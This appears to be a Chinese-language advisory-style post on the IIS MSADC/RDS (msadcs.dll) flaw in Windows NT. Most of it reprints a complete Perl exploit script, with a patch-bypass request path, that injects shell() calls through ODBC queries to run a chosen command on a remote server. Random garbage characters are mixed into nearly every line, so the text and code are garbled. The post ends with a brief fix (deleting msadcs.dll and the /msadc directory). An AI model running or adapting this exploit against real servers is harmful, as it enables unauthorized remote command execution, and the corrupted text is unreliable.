IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
d%~OEq1i" }~+q S` 涉及程序：
M/abd 7q Microsoft NT server
W}iDT? Qi \gW6E^ 描述：
qy( kb(J 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
mD_sf_ 2> C9j3|]nyL 详细：
kTfE*W e9 如果你没有时间读详细内容的话，就删除:
|I2~@RfpO: c:\Program Files\Common Files\System\Msadc\msadcs.dll
+Y_ ]< 有关的安全问题就没有了。
MFtC2* r @URs;O= 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
PN"=P2e/ 6 f{w[H S,z 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
KLpFW} 关于利用ODBC远程漏洞的描述，请参看:
-\[&<o@/D hcT 5> w[ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?~9o2[ ?58* #'r 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
iGw\ A!}w\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ,o p S)C$ rNl%I@ G 这里不再论述。
}08Sv=XM 68()2v4X 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
G2s2i2& 6E (v0i]1ly[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
e AK=ylF; 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
g?gF*^_0 6#;u6@+}yy 7.nNz&UG]5 #将下面这段保存为txt文件，然后: "perl -x 文件名"
l H{ ~?x J93@\b #!perl
tpn.\z% #
cq4sgQ ?sW # MSADC/RDS 'usage' (aka exploit) script
b ~C^cM #
iTVepYv4m # by rain.forest.puppy
v@1f,d #
{wp tOZ
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;XI=Y"h{% # beta test and find errors!
c{{RP6o/j= q!as~{! use Socket; use Getopt::Std;
n%d7`?tm4 getopts("e:vd:h:XR", \%args);
+EvY-mwfQ KN:V:8:J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
m +EtB6r 1UN$eb7 if (!defined $args{h} && !defined $args{R}) {
+(m*??TAV print qq~
*Xk gwJq Usage: msadc.pl -h <host> { -d <delay> -X -v }
Dq<!wtFG[ -h <host> = host you want to scan (ip or domain)
V`_)H -d <seconds> = delay between calls, default 1 second
jJK@i\bU_ -X = dump Index Server path table, if available
gJJ BRn{MI -v = verbose
u
a_(wBipy -e = external dictionary file for step 5
RwoAZ]Zg] 1$nuh@-ys Or a -R will resume a command session
V? r(; x 6Zmzo,{ ~; exit;}
gCZm7dgo NI2-*G_M $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
uX8G<7O^ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*d}{7UMy# if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'^ `% if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
| W<jN $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
roNs~]6 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
5iZ;7
?( ]DK.4\^ if (!defined $args{R}){ $ret = &has_msadc;
e[g.&*! die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7xfN}iHG )dF`L print "Please type the NT commandline you want to run (cmd /c assumed):\n"
F JIo] p . "cmd /c ";
MmW]U24s $in=<STDIN>; chomp $in;
?1]h5Uh[b $command="cmd /c " . $in ;
Wo,fH Y .tzQ
hd> if (defined $args{R}) {&load; exit;}
gezZYP)d i,mo0CSa print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Df}3^J ~JX &try_btcustmr;
"[2D&\$ s>a(#6Q print "\nStep 2: Trying to make our own DSN...";
t}2M8ue(& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
SV i{B* 3
Bn9Ce= print "\nStep 3: Trying known DSNs...";
8RJa;JsH &known_dsn;
T%@qlEmf |K'7BK_^J print "\nStep 4: Trying known .mdbs...";
7KZ>x*o &known_mdb;
10ZL-7D#m wbbr8WiU if (defined $args{e}){
S !R:a>\ print "\nStep 5: Trying dictionary of DSN names...";
gFw- P#t &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
m8z414o xj. )iegQ print "Sorry Charley...maybe next time?\n";
C''[[sw'K exit;
Z]k+dJ[- `YK% I8 ##############################################################################
& ` weW ! 345 sub sendraw { # ripped and modded from whisker
3NlG,e'T2 sleep($delay); # it's a DoS on the server! At least on mine...
'9 Xw_1B my ($pstr)=@_;
H 2UR socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
"kg?O r. die("Socket problems\n");
~.<}/GP] _ if(connect(S,pack "SnA4x8",2,80,$target)){
p&cJo<]=LE select(S); $|=1;
9I*i/fa print $pstr; my @in=<S>;
!kWx'tJ$ select(STDOUT); close(S);
cQ`+ A|q return @in;
0 r ilg } else { die("Can't connect...\n"); }}
Vf` 9[*j cB2jf </ ##############################################################################
fXB64MNo K& % YTA sub make_header { # make the HTTP request
9 p`|~^X my $msadc=<<EOT
I #GsEhi POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
\++#adN:K User-Agent: ACTIVEDATA
br7_P1ep Host: $ip
hG>3y\!# Content-Length: $clen
ZO !)G Connection: Keep-Alive
zXT[}J VV '-Kr neZ! ADCClientVersion:01.06
KGsW*G4U= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(# VF>;;L d;LBV<Z? --!ADM!ROX!YOUR!WORLD!
Tsl0$(2W Content-Type: application/x-varg
|p
@,]c z Content-Length: $reqlen
m; m4/z3U o3xfif EOT
P:tl)ob ; $msadc=~s/\n/\r\n/g;
bPo*L~xdk return $msadc;}
5:
O,-b& D3kx&AR ##############################################################################
6)Dp2 '/K-i.8F sub make_req { # make the RDS request
Tz 2<# pLR my ($switch, $p1, $p2)=@_;
m~l[Y my $req=""; my $t1, $t2, $query, $dsn;
jBnvu@K " x#&%l JT if ($switch==1){ # this is the btcustmr.mdb query
]{E{ IW8 $query="Select * from Customers where City=" . make_shell();
qC$h~Epp4 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^f bw0 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
<P)0Y u J3# elsif ($switch==2){ # this is general make table query
-~
5|_G2Y" $query="create table AZZ (B int, C varchar(10))";
/J w 65 e $dsn="$p1";}
4e 5 5 H:&|q+K=# elsif ($switch==3){ # this is general exploit table query
L?p,Sy<RI $query="select * from AZZ where C=" . make_shell();
]U,f}T"e $dsn="$p1";}
K h;jiK ! =_Y#uE$ elsif ($switch==4){ # attempt to hork file info from index server
.j_YVYu1& $query="select path from scope()";
=a3qpPkx $dsn="Provider=MSIDXS;";}
czHbdEh *C n `pfO elsif ($switch==5){ # bad query
jM DG $query="select";
wa}\bNKQk $dsn="$p1";}
YQk<1./}I SUQk0 (M $t1= make_unicode($query);
>"q~9b
A $t2= make_unicode($dsn);
:D !}jN/) $req = "\x02\x00\x03\x00";
7L\ kn a< $req.= "\x08\x00" . pack ("S1", length($t1));
v3{[rK} $req.= "\x00\x00" . $t1 ;
h(VF $req.= "\x08\x00" . pack ("S1", length($t2));
p 6FPdt) $req.= "\x00\x00" . $t2 ;
W2\ Q-4D $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
TWFi.w4pY return $req;}
^@0-E@ {c
Sx%vJYH0 ##############################################################################
Sxw%6Va]p :6Oh ?y@ sub make_shell { # this makes the shell() statement
" O,TL *$ return "'|shell(\"$command\")|'";}
Q\4nduQ PgY q=|]` ##############################################################################
I%<,JRAV L_WV Tz?` sub make_unicode { # quick little function to convert to unicode
.^J7^ Ky, my ($in)=@_; my $out;
gAWrn^2L5 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Yh} F return $out;}
$5;RQNhXh BXf.^s{H ##############################################################################
^7l^ /GSO &\ 0V*5tI sub rdo_success { # checks for RDO return success (this is kludge)
[rt+KA my (@in) = @_; my $base=content_start(@in);
M)oJ06`K if($in[$base]=~/multipart\/mixed/){
%7*Y@k-)o return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5%E.UjC return 0;}
47c` ) *Hc u LX V, ##############################################################################
k TLA["<m !z.C}n5F sub make_dsn { # this makes a DSN for us
}4n?k'_s? my @drives=("c","d","e","f");
d\{#*{_A print "\nMaking DSN: ";
@94_'i7\ foreach $drive (@drives) {
>v DD . print "$drive: ";
'<YVDB&-d, my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_(<D*V[ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
9-9:]2~g! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
cNd2XQB9= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
n^7$ST#'bV return 0 if $2 eq "404"; # not found/doesn't exist
68^5X"OGF if($2 eq "200") {
Dx-G0 KIG foreach $line (@results) {
zkt+"P{az[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
#' =rv } return 0;}
;|e6Qc9 EFg s}BV_9 ##############################################################################
;uC +5g` +'NiuN sub verify_exists {
; i2N`t2 my ($page)=@_;
nPj+mg my @results=sendraw("GET $page HTTP/1.0\n\n");
!y>MchNv return $results[0];}
\5wC&|WEB :%?\Wj5HW ##############################################################################
|$vhu`]Z@^ I=,u7w`m sub try_btcustmr {
, DT =( my @drives=("c","d","e","f");
cQaEh1n my @dirs=("winnt","winnt35","winnt351","win","windows");
W~1MeAI GoGo@5n(Z foreach $dir (@dirs) {
i*JbFukG print "$dir -> "; # fun status so you can see progress
Q7]VB p4 foreach $drive (@drives) {
}Dig'vpMx print "$drive: "; # ditto
btC.EmX $reqlen=length( make_req(1,$drive,$dir) ) - 28;
1z\>>N$7B $reqlenlen=length( "$reqlen" );
T F !Lp: $clen= 206 + $reqlenlen + $reqlen;
IJ%S[>
jJjD) my @results=sendraw(make_header() . make_req(1,$drive,$dir));
[]{g9CO if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
bD[6)
ITg else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Qhd~ 4 ( / c&#W ##############################################################################
@' Er&[P #0HF7C3 sub odbc_error {
,'CDKzY my (@in)=@_; my $base;
=~&Fq$$ my $base = content_start(@in);
43mV ~Oj if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
J jCzCA:K_ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uxq!kF'Ls $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'CDRb3w}B $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[1Dg_>lz return $in[$base+4].$in[$base+5].$in[$base+6];}
$?OuY*ZeY9 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
&pZU e `3 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
&\\iD :J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
x0])&':! ~6 7L ##############################################################################
nD\ X3g `V ^ftZ{uA sub verbose {
6N4/p=lE my ($in)=@_;
~%4#R 4& return if !$verbose;
&8Cuu$T9) print STDOUT "\n$in\n";}
KUfk5Y :;u~M(R ##############################################################################
N~ -N Q x@I@7Pvo3 sub save {
m6bI<C3^5 my ($p1, $p2, $p3, $p4)=@_;
%$
^yot open(OUT, ">rds.save") || print "Problem saving parameters...\n";
edPnC
{?s print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
> 9f -zv(n close OUT;}
,/\%-u?
1x |5}{4k~9J ##############################################################################
a4
g~'^uC a#=GL B_P( sub load {
f 8E
S
GU my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jZ < *XX open(IN,"<rds.save") || die("Couldn't open rds.save\n");
BZqb
o `9 @p=<IN>; close(IN);
1anV!&a<K( $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
{Ex0mw)T $target= inet_aton($ip) || die("inet_aton problems");
n >X print "Resuming to $ip ...";
xA nAW $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Llf>C,) if($p[1]==1) {
G! uQ|<( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
G }<q $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
%Gn(b 1X my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A+j~oR if (rdo_success(@results)){print "Success!\n";}
AZ5c^c) else { print "failed\n"; verbose(odbc_error(@results));}}
nMc d(&`N elsif ($p[1]==3){
EIl _QV6 if(run_query("$p[3]")){
>RxZ-.,a print "Success!\n";} else { print "failed\n"; }}
T7YzO,b/
elsif ($p[1]==4){
:yvUHx if(run_query($drvst . "$p[3]")){
5:f}bW* print "Success!\n"; } else { print "failed\n"; }}
6^zuRY; exit;}
Dyp'a -aGv#!aIl ##############################################################################
-t
% .I=| Dj> .)n sub create_table {
0[0</"K%1m my ($in)=@_;
^HKxaW9W $reqlen=length( make_req(2,$in,"") ) - 28;
vKDPg p<j $reqlenlen=length( "$reqlen" );
hHoc7 $clen= 206 + $reqlenlen + $reqlen;
#]I:}Q51 my @results=sendraw(make_header() . make_req(2,$in,""));
B$Jn|J"/6 return 1 if rdo_success(@results);
Y 3[< my $temp= odbc_error(@results); verbose($temp);
WJ\YKXG return 1 if $temp=~/Table 'AZZ' already exists/;
(@`+Le return 0;}
*#EyfMz-B xYM! m cA ##############################################################################
}6eWdm!B n$}c+1
sub known_dsn {
a2iaP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
A]B D2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
f7XmVCz1 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
< 4*7HY[ "banner", "banners", "ads", "ADCDemo", "ADCTest");
$$ \| 3rj! 0;e>kz3o foreach $dSn (@dsns) {
C s%'Af print ".";
Y&k'4 Y% next if (!is_access("DSN=$dSn"));
\J0gzi. if(create_table("DSN=$dSn")){
a +*|P print "$dSn successful\n";
4MRHz{`wa if(run_query("DSN=$dSn")){
CN:
36 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<s-_ieW' print "Something's borked. Use verbose next time\n";}}} print "\n";}
?
Z8 _(e0U av
wU)6L ##############################################################################
1k l4X3q6 vK#xA+W sub is_access {
$K \\ 8$Z my ($in)=@_;
p= 9G)VO $reqlen=length( make_req(5,$in,"") ) - 28;
1h]Dc(Oc#= $reqlenlen=length( "$reqlen" );
"xS",6Sy $clen= 206 + $reqlenlen + $reqlen;
wamqeb{u my @results=sendraw(make_header() . make_req(5,$in,""));
" I`<s < my $temp= odbc_error(@results);
`-Gs*# (/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Tb}`]Y`X return 0;}
V# w $|B\ )R {4"&&2 ##############################################################################
s<z { (a 4jis\W}%L3 sub run_query {
if:2s S9r my ($in)=@_;
i/ oa KpPN $reqlen=length( make_req(3,$in,"") ) - 28;
S! ,.#e (Y $reqlenlen=length( "$reqlen" );
]=q?= %H $clen= 206 + $reqlenlen + $reqlen;
|...T
4:^Y my @results=sendraw(make_header() . make_req(3,$in,""));
w{K_+}fAC return 1 if rdo_success(@results);
GC$Hp!H my $temp= odbc_error(@results); verbose($temp);
V '^s5 return 0;}
.knRH^ 5`6@C Ref ##############################################################################
2#6yO` ?uo b)$<aF l sub known_mdb {
2={`g/WeE my @drives=("c","d","e","f","g");
u;~/B[ my @dirs=("winnt","winnt35","winnt351","win","windows");
sEe^:aSN my $dir, $drive, $mdb;
<J {VTk ~ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
GIo&zPx 5x4JDaG2 # this is sparse, because I don't know of many
E+>Qpy my @sysmdbs=( "\\catroot\\icatalog.mdb",
z{``v|K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
6!Ji-' \" "\\system32\\certmdb.mdb",
Lc+wS@ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
K-k;`s# v?!x,H$Qd my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
eNu `\ "\\cfusion\\cfapps\\forums\\forums_.mdb",
tQz-tQ g "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
N\HOo-X "\\cfusion\\cfapps\\security\\realm_.mdb",
WK /Byd.Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
(Pc:A ! } "\\cfusion\\database\\cfexamples.mdb",
*"O7ml] "\\cfusion\\database\\cfsnippets.mdb",
./[%%" "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
cRT@Cu "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
IR(JBB|xNQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
GJ
ZT~ "\\cfusion\\database\\smpolicy.mdb",
_hA p@?
M "\\cfusion\\database\cypress.mdb",
OPBnU@=R "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
q%Obrk "\\website\\cgi-win\\dbsample.mdb",
M<~z=B# "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~naL1o_FZ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
];B h1 ); #these are just
W J=eV8Uk foreach $drive (@drives) {
:s$ rD foreach $dir (@dirs){
ui YZk3 foreach $mdb (@sysmdbs) {
q*?LXKi print ".";
2 m[z4V@` if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
E]6 ;nY? print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
C:l
/% if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
hqD]^P>l1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
C{-e(G`Yd } else { print "Something's borked. Use verbose next time\n"; }}}}}
g15e|y)th `kVy1WiY foreach $drive (@drives) {
m+"?;;s foreach $mdb (@mdbs) {
L @t<%fy@ print ".";
Z- *L[ if(create_table($drv . $drive . $dir . $mdb)){
HPg@yx"U print "\n" . $drive . $dir . $mdb . " successful\n";
80&JEtRh if(run_query($drv . $drive . $dir . $mdb)){
%W+*)u72( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!d&K,k } else { print "Something's borked. Use verbose next time\n"; }}}}
;6U=fBp7< }
K82pWpR )(_}60 ##############################################################################
sZFjkfak %m t|Dl sub hork_idx {
| 94"bDL3~ print "\nAttempting to dump Index Server tables...\n";
$cSrT)u : print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
GFY Ag $reqlen=length( make_req(4,"","") ) - 28;
k3}|^/bHJ $reqlenlen=length( "$reqlen" );
L#M9 ! $clen= 206 + $reqlenlen + $reqlen;
+ ( ` my @results=sendraw2(make_header() . make_req(4,"",""));
GTeFDm; T^ if (rdo_success(@results)){
>ys>Q) my $max=@results; my $c; my %d;
w(eAmN:zR for($c=19; $c<$max; $c++){
iLws;3UX;x $results[$c]=~s/\x00//g;
uv/I`[@HK8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
4T{+R{_Y1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
&BFW`5N $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
m@u!frE, $d{"$1$2"}="";}
=^|^" b foreach $c (keys %d){ print "$c\n"; }
Z q}w}v } else {print "Index server doesn't seem to be installed.\n"; }}
6
GO 7[?U< c'vxT<8fWW ##############################################################################
(es+VI2!&C ic%<39 sub dsn_dict {
+5JCbT@y open(IN, "<$args{e}") || die("Can't open external dictionary\n");
nws '%MK) while(<IN>){
=%%\b_\L $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
w9SP kPkYE next if (!is_access("DSN=$dSn"));
2+s_*zM- if(create_table("DSN=$dSn")){
) ~rf x print "$dSn successful\n";
{W)Kz_ if(run_query("DSN=$dSn")){
"
2Dz5L1v print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dpDVEEs84 print "Something's borked. Use verbose next time\n";}}}
N&]v\MjI62 print "\n"; close(IN);}
SsIy ;l <%8j#@OdZ ##############################################################################
cuO(*%Is1 9gZMfP sub sendraw2 { # ripped and modded from whisker
|h\e (_G \ sleep($delay); # it's a DoS on the server! At least on mine...
ra 0:Lg' my ($pstr)=@_;
*!$4 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
m$ ) yd~ die("Socket problems\n");
h q6B
pE if(connect(S,pack "SnA4x8",2,80,$target)){
X};m \Bz print "Connected. Getting data";
r/$+'~apTk open(OUT,">raw.out"); my @in;
c*-8h{} select(S); $|=1; print $pstr;
pEuZsQ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
D^baXp8 close(OUT); select(STDOUT); close(S); return @in;
[ >O4hifq } else { die("Can't connect...\n"); }}
$3[IlQ? WS/^WxRY ##############################################################################
*p`0dvXG 2 /`Yy(?, sub content_start { # this will take in the server headers
gPSUxE `O. my (@in)=@_; my $c;
=Mzg={)v for ($c=1;$c<500;$c++) {
cv=nGFx6 if($in[$c] =~/^\x0d\x0a/){
%0fF _OU if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
`KqMcAW else { return $c+1; }}}
Dd-;; Y1C return -1;} # it should never get here actually
Sf);j0G,D w17\ \[ ##############################################################################
F[<EXLQ Y9Q-<~\z sub funky {
SpPG my (@in)=@_; my $error=odbc_error(@in);
an_qE}P if($error=~/ADO could not find the specified provider/){
Jkzt=6WZ0 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
X 6kB
R exit;}
]( V+ qj if($error=~/A Handler is required/){
[ R+zzl&Zw print "\nServer has custom handler filters (they most likely are patched)\n";
r(y1^S9!8 exit;}
!r ZO~a0 if($error=~/specified Handler has denied Access/){
|R8=yO%( print "\nServer has custom handler filters (they most likely are patched)\n";
(~:k70V5 exit;}}
*%l&'+ zpV@{%VSj ##############################################################################
x%23oPM `zGK$,[% sub has_msadc {
3 $ cDC8 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
=2] .G Gg my $base=content_start(@results);
dB +x,+%u+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
?VrZM return 0;}
r5jiB L~ >!s = f ########################
v_)a=I%o&2 I MIZ #/ +-&N<U 解决方案：
F' s($n 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
?Z0T9e< 2、移除web 目录: /msadc
